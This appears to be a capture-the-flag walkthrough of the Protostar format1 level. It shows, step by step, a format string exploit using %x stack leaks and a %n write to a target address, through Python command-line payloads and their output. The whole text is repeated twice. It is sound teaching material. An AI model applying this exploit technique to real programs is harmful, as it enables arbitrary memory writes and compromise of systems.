Protostar 0x11 - Format1
Prev: 0x10 - Format0
Next: 0x12 - Format2
This level takes the format string vulnerability from the prior level even further. This time, we need to exploit the vulnerability in a way that allows us to modify an arbitrary memory location!
We can see that the setup is still the same as the prior level. We need to provide an argument such that "printf(argv[1]);" performs an arbitrary write.
Let's revisit the man page for "printf" and look for the word "write." Something quickly grabs our attention:
What exactly does %n do, then?
Interesting - %n expects and integer pointer and writes the number of characters written so far into it. This will definitely be how we achieve our write.
Now, all we need is to arrange the stack in a way that puts the address of "target" as the argument for "printf" when it hits the %n modifier. The level gives us a hint to get us started: the address of "target" can be found using "objdump -t." Let's give it a shot.
$ objdump -t /opt/protostar/bin/format1
/opt/protostar/bin/format1: file format elf32-i386
SYMBOL TABLE:
08048114 l d .interp 00000000 .interp
08048128 l d .note.ABI-tag 00000000 .note.ABI-tag
08048148 l d .note.gnu.build-id 00000000 .note.gnu.build-id
...
080483f4 g F .text 00000028 vuln
08049638 g O .bss 00000004 target
0804963c g *ABS* 00000000 _end
...
Great - we've found out that "target" is at location 0x8049638. Now, remembering what we learned in the previous level, we recall that if we enter %x several times to print unsigned hex values we'll start leaking 32-bit values from the stack, starting from where "printf" expects its first argument to be. We might think that eventually we'll be lucky enough to locate the address of "target," but if we check through the source code again, it's only referenced in two places: first, during its initialization as a global variable, which places it way up high in the code's data section, and second, during the "if" statement which is after the call to "printf."
Unfortunately, we won't be able to find the address of "target" anywhere here on the stack as it's way up in the BSS segment. However, we can find our input string, as it's used as "argv[1]" for "main!" The level even tells us as much, although it also shares that it lies far up the stack... let's enter 20 As to help us locate our string (we'll search for the quintessential "414141..."), followed by as many %x modifiers as it takes.
Note: we'll need to wrap the entirety of the backticked Python script in quotes, otherwise it will end on our newline character.
$ /opt/protostar/bin/format1 "`python -c 'print "A" * 20 + "%x\n" * 150'`"
AAAAAAAAAAAAAAAAAAAA804960c
bffffb68
...
662f6e69
616d726f
41003174
41414141
41414141
After increasing the number of %x modifiers up over one hundred, we finally find our input! However, here is where it gets tricky: we know we need to get exactly up to the start of our input so that we can provide "0x8049638" as the argument for %n. However, we also know that the stack will shift around as we change the length of our input. Before we bother trying to fine-tune the number of %x, let's go ahead and get the other pieces correct. We'll have 4 bytes of A to represent the address (though the As are necessary to help us locate our input), then a variable amount of %x, followed by one %n for the write.
$ /opt/protostar/bin/format1 "`python -c 'print "A" * 4 + "%x\n" * 150 + "%n"'`"
AAAA804960c
bffffb68
...
250a7825
78250a78
Segmentation fault
As expected, we segfault since we're trying to write to the hex values of "%x\n" repeated over an over. In other words, we overshot our target of "0x41414141." Let's replace the %n with %x for testing purposes, and tinker with the input until we get the address of target as the last address written to stdout.
For me, this happened when I changed the number of %x to 128, and then added six spaces' worth of padding to the end of the target address.
$ /opt/protostar/bin/format1 "`python -c 'print "\x38\x96\x04\x08 " + "%x\n" * 128 + "%x"'`"
8 804960c
bffffba8
...
317461
8049638
Now, all we need to do is change the final %x to %n, and we achieve our write!
$ /opt/protostar/bin/format1 "`python -c 'print "\x38\x96\x04\x08 " + "%x\n" * 128 + "%n"'`"
8 804960c
bffffba8
...
317461
you have modified the target :)
Exciting!
Prev: 0x10 - Format0
Next: 0x12 - Format2
Next: 0x12 - Format2
This level takes the format string vulnerability from the prior level even further. This time, we need to exploit the vulnerability in a way that allows us to modify an arbitrary memory location!
We can see that the setup is still the same as the prior level. We need to provide an argument such that "printf(argv[1]);" performs an arbitrary write.
Let's revisit the man page for "printf" and look for the word "write." Something quickly grabs our attention:
What exactly does %n do, then?
Interesting - %n expects and integer pointer and writes the number of characters written so far into it. This will definitely be how we achieve our write.
Now, all we need is to arrange the stack in a way that puts the address of "target" as the argument for "printf" when it hits the %n modifier. The level gives us a hint to get us started: the address of "target" can be found using "objdump -t." Let's give it a shot.
$ objdump -t /opt/protostar/bin/format1
/opt/protostar/bin/format1: file format elf32-i386
SYMBOL TABLE:
08048114 l d .interp 00000000 .interp
08048128 l d .note.ABI-tag 00000000 .note.ABI-tag
08048148 l d .note.gnu.build-id 00000000 .note.gnu.build-id
...
080483f4 g F .text 00000028 vuln
08049638 g O .bss 00000004 target
0804963c g *ABS* 00000000 _end
...
Great - we've found out that "target" is at location 0x8049638. Now, remembering what we learned in the previous level, we recall that if we enter %x several times to print unsigned hex values we'll start leaking 32-bit values from the stack, starting from where "printf" expects its first argument to be. We might think that eventually we'll be lucky enough to locate the address of "target," but if we check through the source code again, it's only referenced in two places: first, during its initialization as a global variable, which places it way up high in the code's data section, and second, during the "if" statement which is after the call to "printf."
Unfortunately, we won't be able to find the address of "target" anywhere here on the stack as it's way up in the BSS segment. However, we can find our input string, as it's used as "argv[1]" for "main!" The level even tells us as much, although it also shares that it lies far up the stack... let's enter 20 As to help us locate our string (we'll search for the quintessential "414141..."), followed by as many %x modifiers as it takes.
Note: we'll need to wrap the entirety of the backticked Python script in quotes, otherwise it will end on our newline character.
$ /opt/protostar/bin/format1 "`python -c 'print "A" * 20 + "%x\n" * 150'`"
AAAAAAAAAAAAAAAAAAAA804960c
bffffb68
...
662f6e69
616d726f
41003174
41414141
41414141
After increasing the number of %x modifiers up over one hundred, we finally find our input! However, here is where it gets tricky: we know we need to get exactly up to the start of our input so that we can provide "0x8049638" as the argument for %n. However, we also know that the stack will shift around as we change the length of our input. Before we bother trying to fine-tune the number of %x, let's go ahead and get the other pieces correct. We'll have 4 bytes of A to represent the address (though the As are necessary to help us locate our input), then a variable amount of %x, followed by one %n for the write.
$ /opt/protostar/bin/format1 "`python -c 'print "A" * 4 + "%x\n" * 150 + "%n"'`"
AAAA804960c
bffffb68
...
250a7825
78250a78
Segmentation fault
As expected, we segfault since we're trying to write to the hex values of "%x\n" repeated over an over. In other words, we overshot our target of "0x41414141." Let's replace the %n with %x for testing purposes, and tinker with the input until we get the address of target as the last address written to stdout.
For me, this happened when I changed the number of %x to 128, and then added six spaces' worth of padding to the end of the target address.
$ /opt/protostar/bin/format1 "`python -c 'print "\x38\x96\x04\x08 " + "%x\n" * 128 + "%x"'`"
8 804960c
bffffba8
...
317461
8049638
Now, all we need to do is change the final %x to %n, and we achieve our write!
$ /opt/protostar/bin/format1 "`python -c 'print "\x38\x96\x04\x08 " + "%x\n" * 128 + "%n"'`"
8 804960c
bffffba8
...
317461
you have modified the target :)
Exciting!
Prev: 0x10 - Format0
Next: 0x12 - Format2